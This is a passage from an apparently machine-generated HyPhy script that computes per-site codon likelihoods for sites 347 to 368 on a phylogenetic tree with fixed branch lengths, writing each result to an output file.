\".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"347\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 348...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1041,1042,1043\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 348\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"348\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 349...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1044,1045,1046\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 349\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"349\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 350...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1047,1048,1049\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 350\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"350\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 351...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1050,1051,1052\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 351\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"351\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 352...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1053,1054,1055\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 352\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"352\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 353...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1056,1057,1058\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 353\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"353\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 354...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1059,1060,1061\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 354\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"354\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 355...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1062,1063,1064\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 355\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"355\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 356...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1065,1066,1067\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 356\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"356\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 357...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1068,1069,1070\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 357\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"357\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 358...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1071,1072,1073\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 358\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"358\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 359...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1074,1075,1076\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 359\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"359\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 360...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1077,1078,1079\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 360\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"360\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 361...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1080,1081,1082\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 361\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"361\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 362...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1083,1084,1085\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 362\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"362\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 363...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1086,1087,1088\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 363\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"363\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 364...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1089,1090,1091\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 364\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"364\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 365...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1092,1093,1094\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 365\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"365\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 366...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1095,1096,1097\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 366\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"366\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 367...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1098,1099,1100\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 367\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"367\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 368...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1101,1102,1103\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 368\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"368\\t\", 